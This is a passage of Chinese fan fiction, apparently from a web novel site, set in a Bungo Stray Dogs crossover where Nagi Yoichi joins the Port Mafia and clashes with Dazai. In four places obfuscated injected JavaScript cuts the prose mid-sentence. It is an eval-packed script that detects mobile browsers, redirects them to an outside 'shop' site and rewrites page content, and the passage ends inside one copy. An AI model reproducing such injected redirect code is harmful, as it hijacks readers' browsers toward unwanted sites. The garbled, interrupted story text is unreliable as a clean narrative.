话音刚落,站在对面的太宰治蓦地瞪大了眼睛。 他脸上接连闪过惊愕、恶心、戒备、呆愣、厌恶、不可置信,最后糅杂成一个肉眼可见的恐怖表情。整个仓库里安静得落针可闻,一旁的黑西装死死地埋着头,恨不得现在马上消失。 这下太宰治终于松手了,手串在空气中晃荡两下,反射出几缕刺人的冷光。 凪夜一如愿以偿将被猫叼走、遗失已久的手串戴回手腕上。 他完全没发觉自己问了什么恐怖的问题,若无其事地抬头问道:“接下来去哪?” ——他并不认为有什么可多交流的,太宰治画了个圈,他心甘情愿地站进去,仅此而已。对话简洁一点正好。 而直到他站在港口mafia的首领室里,才明白过来,太宰治是来抛橄榄枝的。 尽管他抛橄榄枝的方式十分拧巴、迂回且麻烦,但他确实是来抛橄榄枝的。 “想要见你一面超乎想象的困难呢,凪君。就算是太宰君,也花了不少时间才成功将你带回来。”组织首领森鸥外坐在长桌后,态度出乎意料的随和,“为了节省时间,我们开门见山地谈吧。我对你的异能很感兴趣,有意向加入港口mafia吗?” 白发少年站在地毯上,发尾上还沾着血。他对森鸥外所说的内容并不意外,正准备开口,桌后的人不紧不慢地抬起手:“嘛,先别急着拒绝。” “在接触你之前,我曾经听见一点传闻——你似乎在找寻能解开【某件事物】的人。”森鸥外微笑道,“从你出现在横滨,半年多以来根据情报一个一个地排查,已经完成了相当多的准备工作。想必这个组织也在你的目标范围之内,虽然现在站在这对你来还说有点早,但应该也不是什么坏事。” “……啊。”凪夜一从巨大的落地窗上收回目光,神情平静地与森鸥外对视,“原本打算留到最后的。” 这是统领横滨黑夜的、危险程度最高的组织,高层成员的信息经过层层加密,能获取到的信息寥寥无几。这也意味着,这个组织拥有捉摸不透的底牌。 凪夜一放弃了自杀,打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197267|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将最后的节点定在这里——失败的话,他会在这里死去,然后继续前往下一个世界。 少年身上透露着与这个年纪丝毫不符的沉沉死气。挂在他胸口的狱门疆映着窗外的光芒,散出幽冷的色泽。 森鸥外唇角的笑弧不断扩大,紫红色的眼瞳中透着毫不掩饰的兴趣。 “巧合的是,我这里正巧有这样一位人选。”他用手支着下颌,语气游刃有余,“加入这里,怎么样?以这个人的情报做交换。” 凪夜一道:“我还有另外的选择。” 森鸥外饶有兴趣道:“哦?说来听听。” 凪夜一道:“在这里直接杀了你,用你的生物信息打开港口Mafia的档案库,自己去查。” 森鸥外的眉头抽了一下,苦恼地叹了口气。 “总是想着打打杀杀是不好的。”他忧伤地道,“世界上有很多杀戮解决不了的事,年轻人什么时候才能明白这一点呢?” “那么,为表诚意,我先告知你他的名字。” “——太宰治。经过两个月的接触,你们是否稍微熟悉一些了呢?” 凪夜一的眼瞳微微一颤。森鸥外好整以暇地坐在桌后,观察他的反应,还不忘补上一句话:“你似乎对太宰君很感兴趣。” 凪夜一脸上的表情有点茫然。 “是吗?” 他没头没脑地问了这么一句,也不再有下文,而是点头同意了森鸥外的邀请。 “您需要我做什么?” “不用担心,都是一些你能轻松做到的小事。”森鸥外道,“站过来一点,凪君。” 凪夜一向前走了几步,森鸥外侧身拉开一边的抽屉,从里头取出一双漆黑的皮质手套。 少年将它接过来,神情有些困惑。 “这是?” “港口Mafia的传统,新人一般由劝诱他加入的人负责照顾。作为象征,要送给新人一件自己的东西作为信物。”森鸥外的声音很温和,“欢迎加入港口Mafia,凪君。” “原本想将你放在太宰君手下,但刚刚与他交谈的时候,不知道为什么他态度非常差地拒绝了。出于以上原因,一会带着这张表去找中原君吧。” “你们的异能都很强大,一定会有不少共同语言。好好相处吧。” “是。”凪夜一接过那张表格,离开之前忽然想起来什么似的,向森鸥外问道:“您有什么愿望吗?” 森鸥外微微一愣,有些意外地笑了一声。 “虽然很想见识一下凪君的能力,但很可惜,我比较信任靠自己能力攥进手里的东西。” 凪夜一的脚步一顿,心中油然而生一点对这一类人的敬意。 他将手负在背后,对着森鸥外鞠了一躬,转身离开了首领室。 36.魔幻横滨5 中原中也正在出任务。 在出任务的途中,他忽然得知森鸥外给自己拨了个新部下过来,并且示意要好好培养—— 他出完任务回来,在自己的办公室找到了一张新添的办公桌,还有放在自己桌上的详情登记表。 除了这些,办公室里空空如也。 中原中也走到桌前,将纸质表格提起来看了看。 “凪夜一……十六岁……异能名字是——” “在。” 意想不到的地方传来意想不到的声音。 中原中也惊了一下,立刻转过头,看见自己这位新部下蹲在哪的时候,整个人都不好了:“喂!快从窗台上下来啊!这里是37楼啊!掉下去了连骨头渣子都不会剩的啊!” 凪夜一的声音非常平静:“不会掉下去。” “……也行吧。”中原中也凑过去,“你蹲在窗台上干嘛……恶,烧衣服?” 凪夜一点了点头。赤红的火焰在少年平静无波的眼瞳中跳跃,很快那件跟着他从十七号仓库到首领室再到这间办公室的外套被烧成了灰,随着风飘走了。 他从窗台上跳下来,对着中原中也微微鞠躬。 “初次见面,中原大人。以后请多关照。” “嗯……啊,啊。你好。” ——中原中也只用了一秒就判定出了新部下的属性。 有点一板一眼的无聊家伙。不……仔细一看还有点阴沉,总之是自己不太想应付的那种……不过保持正常的上下级关系就行了吧? ↑中原中也打算做一个正常的好上级。 他上前拍了拍凪夜一的肩膀:“嘛,嘛。总之加油吧,以后的路还远着呢。” 新部下点了点头。 他们相安无事地相处了两天。第三天的时候,凪夜一顶着一脑门的绷带走了进来。中原中也正在处理文书,抬头一看人都惊了:“你这一脑门伤是怎么回事?你这两天没有任务吧?” 凪夜一摇了摇头。 中原中也搁下笔,脸色十分严肃:“是被谁找茬了?告诉我。中午饭之前那家伙就会被提到你面前,随你怎么处置都行。” 这下凪夜一似乎仔细思索了一下。然而,最终他的回答仍然是:“无需在意,中原大人。” 中原中也有点烦躁地抓了一把头发,仅仅一点时间的相处不足以让他猜到自己的下属正在想什么。 “……行吧。”他从办公桌后站起来,双手抄兜,“我出去转转。” 原本只是因为有点不知道怎么将对话进行下去而出来透透气,结果真让中原中也听到一点不得了的东西。他在走廊边上靠着,走廊那头一群情报部门的家伙成群结队的过来,一起飘过来的还有他们的议论声: “那个新人,对,中原大人手底下被太宰大人挖进来的那个。” 墙后的中原中也手抖了一下。 被太宰那个混蛋?! “啊,你说在没进组织之前外界就谣言满天飞认为他是咱们的成员为此走在路上经常会被找麻烦还被炸了房子半夜站在废墟前头迷茫还经常被太宰大人坑去出一些难得要命的任务的——那个新人吗?” 中原中也想起某些不好的回忆,脸直接黑了一半。 “喂!你在说什么啊!这种事情是真实存在的吗!” “这不重要。” “这很重要吧!” “最重要的是,听说他昨天晚上跑去太宰大人住的地方了。” “…………” “然后,凌晨的时候,他去了一趟医疗部。听医疗部的同事说,满头都是血啊。” “……………………” “被太宰大人用枪爆头了吗?????” “才不是啊!被爆头了会直接死掉吧!!” 中原中也啪的一下推开办公室的门。 “喂凪!好胆量啊!竟然敢直接往太宰那混蛋住的地方跑……我认可你了!!啊哈哈哈哈哈——说起来你脑袋上的伤到底是怎么回事?不会是被太宰揍的吧?” “谢谢。”凪夜一的表情顿了一下,“不是。” “我就说嘛!”中原中也上来猛拍他的肩膀,“太宰的体术垃圾成那个样子,怎么会有人被他揍啊!哈哈哈哈!” 体术更烂的凪夜一直接被他拍得矮下去一截。 “你也不要总是摆出一副阴沉的表情了,多笑一笑。”中原中也说,“马上到午饭的时间了,一起去吃拉面怎么样?” 凪夜一点了点头,直接被他拉起来。两人一路走出门,中原中也兴致勃勃地问道:“说起来,你昨天跑去混蛋太宰那去干什么?对他怀恨在心想趁晚上去报仇吗?” 凪夜一沉默了一下,说:“我有事想要请他帮忙。” 中原中也有点意外。他先问道:“什么事?很难吗?” 凪夜一牵起胸前挂着的挂坠:“想让他帮我解开这个。” 中原中也凑近看了一下。 “什么东西?异能造物?” “嗯。”凪夜一道,“差不多。” “小事。”中原中也直起身,顺便托了一下帽子,“为什么不来找我?我用重力把他拧开……不对,里头的东西会碎吧。那就没办法了,我把混蛋太宰打晕了绑过来怎么样?” 没想到自己的上司竟然是个作风狂野的人,凪夜一不禁愣了一下。但很快,他的脑海中闪过太宰治饱含恶意的眼睛,以及毫不犹豫的拒绝,略一思索过后,摇了摇头。 放在以前,他会像中原中也说的那个方向想办法的。但他已经决定像十束那样好好生活,这样的方法就不能再用了。 见他拒绝,中原中也叹了口气,也没再问,转而接上了之前的话题:“有事需要他帮忙,然后呢?” “我向同事打听了他的住址。” “……然后呢?” ——时间倒回到昨天晚上。 凪夜一站在一座废弃建筑上,眺望了一下下方错综复杂的环境。 “我觉得你还是不要试了。”雾气说,“肯定没戏,想都不用想。还不如直接找人把他绑架了来得快。” “再说,他的异能优先级到底有多高还不清楚,万一对狱门疆无效,岂不是又白费功夫了?” 凪夜一在脑子里规划路线,一边道:“试一试也没什么损失。你好像很不希望我去,为什么?” “因为尴尬啊!!尴尬!!”雾气抓狂道,“前几天才对人家说了什么‘我身上有什么东西让你这么健谈’这种话,现在又若无其事地去找人帮忙,真的很尴尬啊!!” 凪夜一有点困惑地拧起眉毛。 “他一直拽着链子不松手,于是我问了一句。”他道,“这句话有什么不妥吗?” 雾气:“很不妥啊!!嘲讽拉满了啊!!” 凪夜一松开眉头。 “那么,我去向他道歉。” “不……这应该不是道歉能解决的事……而且你确定道歉以后不会让他更火大吗?” 凪夜一信誓旦旦道:“不会。” 十分钟后,他得到了对方的回答—— “听不懂你在说什么,能快点从我的视线里消失吗?”太宰治躺在集装箱顶上吹风,微微卷曲的黑发从集装箱的边缘垂下,随风轻轻晃动,和他提不起劲的声音一样随意,“顺带一提,你踩中地雷了。赶紧把脚抬起来然后直接死掉,那样说不定我会开心一点。” 凪夜一连一点目光都没分给脚下,抬头看着集装箱顶那颗漆黑的脑袋,问道:“你好像很讨厌我。为什么?” 太宰治道:“讨厌一个人需要理由吗?第一次见面就觉得一生都跟这个家伙合不来这种想法,你一次都没诞生过吗?真是可怜啊。” 不知道为什么,凪夜一对这无法沟通的恶劣态度竟然已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209316|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点熟悉了。 他干脆利落地切掉获得太宰原谅的想法,转而道:“那么,我们做个……” “你今天健谈得让人厌烦呢。”太宰治打断他,“巧合的是我知道你来这的目的是什么。想要我解开你胸前挂着的东西对吧?” 凪夜一沉默了一下,决定忽视掉他的信息来源,道:“对。有什么要求尽管提。” “你很执着于这些小物件啊。是什么丢掉了就活不下去的东西吗?” 凪夜一的神情微微一动。他不自觉地伸手拢在狱门疆面前,低声道:“我不会弄丢他。” “哼……” 太宰在集装箱顶上翻过身,一只手撑着脸,一只手对着凪夜一,“那么我也告诉你我的答案吧。” 黑发少年晃了晃食指,鸢色眼瞳里盛着某种漆黑的、愉悦的情绪。他用微微上扬的语调一字一顿道: “死、也、不、要。” 凪夜一猛地松开了脚。 巨大的火光在地面炸开,猛烈的冲击波扩散,连带着冲垮了旁边不少建筑。在千钧一发之时,凪夜一反应奇快地拽住太宰朝他伸出来的那只手,一把将他从即将坍塌的集装箱顶拽下来——随后,他愕然地睁大眼睛。 雾气的保护圈尚未形成,如同卡顿的影像一般闪烁两下,倏地消失了。 两人的身体被爆炸产生的冲击波击飞,狼狈地撞上不远处的墙体,片刻后向下滑落,扑进地面。 凪夜一先爬起来,扭正了骨折的手臂。他的额头被空中的破片划伤了,鲜血越过眉骨下淌,很快染红白色的眼睫,不要钱似的往下流,一只眼睛的视野很快被染成不详的红色。 太宰治艰难地翻了个身,咬牙道:“你是感觉不到痛吗……落点选得太烂了……” 凪夜一的视线侧移,隔着衣服把太宰提到身后,随后迅速松开了手。雾气猛地冒出来,悚然道:“刚刚是什么东西?!我和你的联系忽然断了,这小子的异能优先级居然高过法则了吗?!” “你怎么知道有炸.弹的?明知道有还往里走,一根筋也要有个限……”它的责备声忽然变得凝重起来,“你的伤口……为什么还在流血?” 鲜血顺着下颚线继续往下,凪夜一衬衫的衣领被染红大半,略微充血的眼球一眨不眨地盯着爆炸发生的方向。 太宰住的集装箱附近已经被炸成了一堆废墟。几条人影从废墟顶上冒出来,为首的人踩着摇摇欲坠的铁皮,找了块能站稳的地方,不屑地哼笑道:“还以为有多了不起,港口Mafia的两个小鬼。被炸飞了也还是爬不起来,只是个有点异能的普通人罢了。” 他的声音远远地飘过来,凪夜一轻轻咳了一声,压低声音道:“不要在背后忽然碰我。不过,如果你觉得死在这群杂碎手里也无所谓的话。” 太宰治没有说话。 他的瞳孔向内收缩,探照灯打过来的光在他未被绷带遮掩的眼中割出一片绚丽的光带,虹膜、眼白上的细小血丝,瞳中的一切都无比清晰。 凪夜一的头发上爬满漆黑的阴影,原本鲜明的特征被它同化,坍缩成太宰治眼瞳中一个无法忽视的小点。 他感到一种怪异的生疏感——这种感觉,每次见到凪夜一的时候,都在他的心中来回游荡。 话音未落,废墟上的人已经举起了枪。他吹了个口哨,狞笑着道:“再见了——小鬼头们。” 火光,枪响,呼啸而来的子弹。 太宰治对这些东西习以为常,愿意挡在他面前以身赴死的部下也有不少。可从来没有哪个人的背影能展现这样—— 诡异的、令人难以想象的安定。 仿佛世上所有事物都无法打乱他的步调、譬如死亡这样惊心动魄的事物在他面前也要低头让步。 安定得……像是徒有空壳、靠着一根丝线被吊行的人偶。 啊,是他最讨厌,也最恐惧的活法。 37.魔幻横滨6 雾刃割断敌人的脖子只用了不到一秒,废墟上喷洒开一片血色的喷泉。 凪夜一移开目光,对这些景象有些厌倦。 他将视线移到背后的太宰治身上,发现对方靠着墙垂着头,好像已经失去意识了。 卷曲的黑发将苍白的面孔遮盖大半,脸、脖子以及其他裸.露在外的皮肤上都有不少细碎的破口。 凪夜一也是一样,但他注意到太宰治的呼吸频率有些不正常,眉头微微一皱,伸出手打算检查一下是不是肋骨断了,还没碰到他,忽然听见太宰治很冷淡的声音:“哦呀。打算趁我睡着的时候达成目的吗?” 他的语调很虚弱,一边说话,一边痛得“嘶嘶”抽气。 “没那意思。”凪夜一飞快地检查完毕,“肋骨断了两根。” “多亏了夜一君选的好落点啊。”太宰治恹恹地道,“明明旁边有一块薄一点的墙,炸过去正好能命中的。就这么信任自己的异能不会被我消除吗?真是奇怪的自信啊。” 凪夜一:“轮不到躺在原地等着被炸飞的人说话。” 太宰闭着眼睛,好像痛到懒得说话了。天空飘起零星小雨,凪夜一从空气里拽出一把伞盖到太宰治身上,从口袋里掏出震动的手机,按下接听键。 “凪君。”森鸥外的声音从手机里传出来,“部下观测到了一场巨大的爆炸,你和太宰君的情况怎么样?” “平安无事,首领。”凪夜一看了一眼旁边的人,“干部大人受了一些伤。” “没有生命危险就好。”事况显然在森鸥外的意料之中,“进行扫尾工作的人正往你们那边来,注意联络。” “是。” 挂断电话,闭着眼睛装尸体的太宰治忽然“呿”了一声:“果然是首领的命令啊。” ——在两天之前,凪夜一即将从首领室退出去的时候,森鸥外似乎想起了什么任务,临时叫住了他。 “太宰君最近不太走运啊,似乎被之前十七号仓库那批人盯上了。根据卧底传来的情报,他们会在两天之后行动。地点有些特殊,不适合派普通的部下过去,能请你去看顾一下太宰君吗?” “那是个头脑非常不错的孩子,是组织优秀的人才。如果被这样解决掉,无论对你还是对我,都是巨大的损失。” 当时的凪夜一停在门边,立刻反应过来森鸥外的言下之意—— 对首领来说,失去的是重要的人才;对自己来说,失去的是解开狱门疆的希望。 此时听见太宰的话,凪夜一淡淡道:“过来这里是我自己的意志。” “是怕我死了东西解不开吧。”太宰治说。 “那也是原因之一。” 听见这话,太宰治忽然抬起头,露出吃了苍蝇似的表情。 “你是想说,自己是个不得了的大好人吗?” “……” 凪夜一决定暂时不跟太宰治讲话了。 他把手机揣回兜里,找手帕的时候顺手摸到了森鸥外送给他的那双手套,顿时明白过来首领的用意,并且立刻感到有点后悔——刚刚应该把手套戴上的。 以后好好戴着吧。再遇到需要拉扯太宰治的情况,就不会像现在这样了。 他顺利把手帕取出来,擦拭脸上新鲜得不得了的血迹。 显然这是无用功,一条手帕完全处理不了,并且他注意到,自己的伤口还在流血——这在他身上是很反常的状况。 因为太宰的能力故障了吗? 雨越下越大了。凪夜一思考把太宰治丢在这里自己独自回白日馆的可行性,想了一会,脑袋因为失血过多有点发晕。 这时,口袋里的手机又响了几声。 凪夜一摸出来接通,凑到耳边,里头传出来的竟然是个熟悉的声音:“喂……是凪吗?” 凪夜一愣了一下。 “织田君?” “真的是你啊。首领说的时候我还有点意外……叙旧的话后面再说吧。”织田作之助道,“你和太宰的情况怎么样?还走得动的话,能拜托你把太宰搬运出来吗?往你进来的方向走,我来接你们。” “好。” 凪夜一挂断电话,蹲到太宰治面前轻轻叫了他一声,没有回应。 满身绷带的少年干部安静地蜷缩在废墟边上,看上去已经完全失去意识了。 虽然他说话时常很欠揍,可看见他真的毫无动静,伤痕累累无法行动的时候,完全是另一种感觉。 有点可怜。凪夜一想。 他费劲地把太宰治搬到背上,架好雨伞,就这么背着他往外走。太宰治趴在他的肩头,依靠本能维持着一线岌岌可危的清醒。 即使已经几乎不能思考了,他的大脑仍然在下意识地记下凪夜一的步数、转向的方向和次数,头痛和极致安静的环境加在一起,竟然将他的感官磨得清晰了一点。 雨滴从天上掉下来,落上太宰治靠在肩头的雨伞。 在这种安静之中,太宰治甚至能听见水珠一滴一滴落下的声音,被意识稍一扭曲,就变成了酒吧内冰块撞击杯壁的脆响。 你说得对,织田作。这是一个很特殊的人。 他想。 但我绝不承认我们的相似,即使它是不争的事实。 从他的身上,我什么都看不见。虽然貌似找到了可以追求的东西,但更像是一只被追求蚀空灵魂、被一根线吊着前行的木偶。 至今以来,我还没找到可以追求的东西。但现在看来,找到好像也不是什么好事。我也会被我的追求锈蚀成空洞,变成行尸走肉一般的存在吗? 我也会在未来停止挣扎,连死亡都一并抛却,任由生命沉进无底的深渊吗? 急雨扑面。 视野里很快出现织田作之助的身影,红发青年大步跑过来,走到跟前的时候被凪夜一的情况惊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223184|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 “你的额头……”织田作之助凝重道,“最好先应急处理一下,血再这么流下去不行。” 大半夜被支使来做事,他却没什么不满,脸色很是镇静。远处停着一辆车、还有几个黑西装,见状也跑过来,将太宰治从凪夜一背上接了过去。离开之前,其他人对凪夜一鞠了一躬。 “过来吧,找个能避雨的地方。” 织田作之助的语气很熟稔,凪夜一的态度很顺从。一个黑西装有点意外:“你们之前认识吗?” “啊,”织田作之助回想道,“那是有段时间之前的事情了。” 凪夜一和织田作之助相识于一场意外。 半年前的某一天,凪夜一刚来到横滨不久的时候,顺手从一伙混混手中捞回来几个孩子。 按照孩子们的心愿,他将他们完好无损地送回住处——那是一家不起眼的咖喱店,店内被洗劫一空,老板靠着吧台坐在地上,惊魂未定地在跟谁打电话。看见凪夜一又拎又扛又抱着几个小萝卜头进来,他呆滞了一下,连忙对电话那边道:“不用了,织田作,有人把他们送——” 话音未落,背后的门被人大力推开了。 凪夜一转头,和站在门口行色匆匆的红发青年对上目光。被他圈在怀里的孩子挣扎下来,一个两个不要命似的往青年怀里扎:“织田哥!!” 一个小时以后,由老板请客,他们坐在一片狼藉的拉面屋里吃完了第一顿咖喱。自那以后正式结识,在路边的拉面店碰见过一次以后交换了电话号码,两人成为了类似于友人一类的关系。 凭心而论,织田作之助是一位很值得交往的对象。 平和,坚定,敏锐,拥有不可动摇的底线,和坚守底线的意志力。 凪夜一刚被投放到横滨的时候,像是一只空落落的游魂。一次杀完人后,他坐在路边上发呆,回过神来的时候,发现织田作之助不知道什么时候坐到了他的身边。 “不知道怎么往前走的时候,就学着自己最敬佩的人的样子吧。” 红发青年这样说道。 那天以后,凪夜一决定像十束那样好好生活。周围总是蠕动的黑线团被撕开一条裂口,少年迟疑着抬头去看,从里头找到了一些模糊的、人类的影子。 在这个世界里,第一个亮起来的人是织田作之助。 两人找到一处避雨的地方,将伤口潦草处理过一遍以后,凪夜一被安置到了港.黑的医疗部,太宰的邻床。 少年干部经过救治,在镇痛药物的作用下昏睡。 淅沥的雨声依旧残留在他的耳中,混杂着冰块与酒杯撞击的脆响,将世界晃成一间氛围安宁的酒馆。 太宰治坐在吧台前,楼梯处传来响动,织田作之助的身影出现在灯光里。 “呐,织田作。”太宰治懒洋洋的声音从吧台前飘起来,“之前你说老板家里被袭击,事情解决了吗?” 38.魔幻横滨7 “啊,已经解决了。”红发青年在吧台前坐下,“老板和孩子们都没事。” 太宰治趴在桌上,鸢色的眼瞳追着玻璃杯里的冰球走来走去。一旦它停下来,少年就会立刻伸手在杯壁上弹一下,发出“叮”的一声响声,清脆极了。 “那再好不过。”他道,“总感觉你心情不错呢。碰上什么有趣的事了吗?” 织田作之助想了想,道:“算是。” “我接到电话赶回去的时候,孩子们已经被人送回来了。”织田作之助抿了一口酒,姿态和语气都很放松,“说实话,推开门的时候我吓了一跳。” “诶——”太宰治很配合地接道,“为什么?” 织田作之助道:“店门口站着一个跟你很像的家伙。如果不是头发颜色不同,我差点就叫你的名字了。” 太宰治呛了一口,埋头咳了好几下才抬起头:“……这是什么最近流行的笑话吗?” 织田作之助也转过脸,两人面面相觑一会,太宰治忽然意识到,对方是认真在进行这个话题,评价也是真的发自内心。 他把一口气顺直,一脸阴郁地道:“能不进行这个话题了吗?且不说是不是真的,一想到有人跟自己很像,我会感觉非常恶心啊。” 织田作之助道:“那揭过吧。只是一种感觉。” 太宰治默默地捂住了耳朵。 听起来更恶心了。织田作的感觉什么时候出过错吗? 织田作之助摇了摇头。 “为什么讨厌?人在世界上,很少有能找到同类的机会。” 同类。 不可否认的是,太宰治被这两个字的重量定住了。大约没想到织田作之助口中的相似已经到了这种恐怖的程度,像是一根钢针翻搅他盛满酒液的胃,第一时间感受到的只有受了刺激以后的强烈恶心。 他冷淡地转过头,鸢色的眼瞳藏在额发的阴影下,里面覆盖着一片挥之不去的阴翳。 “嘛,这不是显而易见吗?”少年的声音轻而粘腻,像是永远在向下流淌的酸雨。 “看见了以后,会觉得很绝望啊。” * 人行走在世界上,都是孤独的。绝大多数时候,都是在顾影自怜。 偶尔命运来临的时候,会遇到一个或者两个合得来的朋友。但朋友跟自己仍然不一样。 一样的应该被称做什么?同伴吗?同类吗? 不幸的是,太宰治对这种生物并没有什么多余的想法,硬要说的话,还是觉得不要存在比较好。 如果这位同类还处于过去某个阶段,那么太宰治轻易能洞悉他的未来,未免觉得十分可悲,不如劝劝他早点死掉。如果这位同类走在他的前头,事情就更不妙了。他走过的路,自己大概率也会走,他即将迎来的未来,也是自己的未来。 至于什么命运般的分岔口,更是完全不可能出现。他们这样的生物,难道还会有什么光辉坦荡的路可走吗? 不过,同类这个世界上不可能存在的东西,他早就清楚这件事,并且完全地接受它了。 因此,织田作之助的话很快被他抛在脑后。 ——不可能存在吗? * “有时就是因为太坚信一件事,所以在它被打破的时候,才会完全不知所措呢。” 还是在Luppin酒馆。 坂口安吾因公出差,坐在吧台前的又只有太宰治和织田作之助两个人。 今晚太宰治看起来兴致不高,额头上缠着新换的绷带,散发出隐约的药粉气味,有点刺鼻。 “但聪明的人不会让自己走到这一步,在最坏的事态发生之前考虑到更坏的可能性,这样不论面对什么样的冲击,也都会觉得‘啊,不过如此’了。” “很好的领悟。”织田作之助道,“但如果遇到更好的情况呢?” “没有那种情况啦,织田作。”太宰治用吸管将高脚杯里的装饰物推来推去,“好事往往都在意料之中,而坏事绝对能坏到想象之外。世间的规律就是这样——一想到这个,就觉得还是下一秒直接死掉比较好啊。” 红发青年敏锐地注意到了他怪异的情绪,但遵从一贯的相处模式,他并没有多问。如果太宰想说,他自己会开口的。 果然,没过一会,黑发少年出声问道:“呐,织田作。” 织田作之助转过脸。 太宰治盯着杯子里的酒液,脸上的表情是近乎死寂的平静。 青年注意到他的眼神有点失焦,头发还带着些许湿气,像是在水里泡过。脸有点红,不知道是发烧还是醉意导致。 总之,他在这种迷迷瞪瞪的状态里开口,每一个字都像飘在天上,又轻又散。 “你觉得,我以后会是……” 问到一半,他好像倏地清醒了,意识到自己问出了一个怎样可怕的问题,脸色微变,完完全全地闭上了嘴。 很快,他被一个电话叫走——干部总有做不完的事。少年和织田作之助告别,重新回到了漆黑的街道。 夜间的空气总是令人愉快,太宰治紧绷的肩膀渐渐松弛下来,无聊地将翻盖手机甩开又合拢,伴随着咔哒、咔哒的规律声响,织田作的声音和凪夜一面无表情的侧脸在脑海中混乱的闪回。 啊,确实,织田作。只用看一眼就知道了,你口中所谓的相似之处。 像是同一条腐烂的根系上长出来的两棵树,只不过一棵还在跟有毒的空气作斗争,一棵已经被毒死了。 坏事果然永远在想象之外。 * 太宰治仍然在做梦。 一只三花猫叼着一串亮晶晶的手串蹲在他脚边,很快把手串放在地上,用头拱了拱他的大腿。 太宰治讨厌狗,对猫的印象不好不坏,时而无视,时而顺手揉一揉。 他的眼睛盯着手机屏幕,正在为他时常超额的工作而努力。面对猫的示好,他不太愿意腾出精力应对,正打算无视掉,余光忽然看见了地上的手串。 很眼熟,他见过好几次了。 凪夜一手上戴着的那个。 “Luppin酒馆的猫吗?”太宰治随口敷衍道,“你找错主人了。我可不会戴这种黏糊糊的东西。” 三花猫喵喵叫了两声,又拱了拱他的腿。太宰治不得不分出注意力,把那串手串捡了起来。 “好。就这么丢掉吧!” 他做出一个愉快的决定,把手臂抬了起来。下一秒,他竟然听见旁边的猫口吐人言:“拿着这个,去和他做朋友吧。” 太宰治猛地从梦中惊醒,瞳孔颤抖,看什么都有重影。他维持着同一个姿势躺了很久,期间一直瞪着医疗部他再熟悉不过的天花板。 直到心跳平复,心情转静,他从床上下来,掀开病床边用于隔断空间的围帘,打算出去透透气。 刚一掀开,他以比反应能力更快的速度松了手。 厚厚的围帘落回原样,太宰治面无表情地将印在视网膜中的画面扫出去,转身走向正确的方向,掀起帘子离开了。 ——晃动的围帘后,凪夜一身躯陷在单人病床里,正顶着一张苍白如纸的脸沉沉入睡。 凪夜一在组织内的生活十分顺利。 被太宰治的异能影响的自愈能力在回过馆舍一次后被成功修复,雾气严令禁止他再和太宰治有任何肢体接触;而正如森鸥外所说,组织内的任务几乎都是他能轻松完成的,每天的时间被占去不少,最枯燥的反而是写任务报告的时候。 从那天以后,他和太宰治没再见过面。而等他终于能腾出时间好好和织田作之助吃一次饭的时候,已经是一个多月以后的事情了。 两人约在老板家的咖喱店,坐在吧台前等饭的间隙,织田作之助向凪夜一递来一条手帕。 对上凪夜一茫然的眼神,织田作之助简短地解释道:“衣领上,有东西。” 凪夜一立刻想起来,衣领上沾了血。虽然用头发能遮住,但显然瞒不过织田作之助的眼睛。 他摇了摇头:“已经凝固了,回去换身衣服就好。” 织田作之助将手帕收回去,问道:“昨晚上有任务吗?” “有。” “比我想象中还要忙啊。”织田作之助道,“空闲的时候要是想,可以来和孩子们玩一玩。一直泡在血和子弹里不是什么好事。” ——凪夜一是组织内最近声名鹊起的新人。首领青睐他的暴力性,而伴随着这份青睐的,是极其高压的工作指令。 并且,由于他的资历不深,接手的大部分都是护卫工作,本质是冲突与杀戮。 对于织田作之助的建议,凪夜一点了点头。他对此好像并没有什么明确的反应,杀与不杀于他来说没什么区别——在这种事上,他带给红发青年的既视感异常强烈。 果然很像。 织田作之助移开目光,鸢色与冰绿两双眼睛在脑海里打转。 不过,也有不像的地方。 “还没问过。你为什么加入港口Mafia?” 凪夜一捏着勺子柄,没怎么思考就给出了回答:“为了一个人。” 红发青年点了点头,没有多问。不一会儿,身侧传来凪夜一的声音:“织田君呢?” 织田作之助有点意外地转过头。少年没有看他,雪白垂顺的头发被别到耳后,露出一小块精致苍白的侧脸。 “不愿意杀人的话,在这种组织内是很难存在下去的。刚刚过来的时候,看见你在试图调解纠纷……但实际上那种人杀了也没关系吧。放弃杀人的原因是什么?”他补充道,“不方便的话,不回答也没关系。” 没想到他会问出这样的问题,织田作之助放下了勺子。 “没什么不方便的。”他认真地陈述自己的理由,“我在为自己的梦想赎罪。” 关键词触发,凪夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 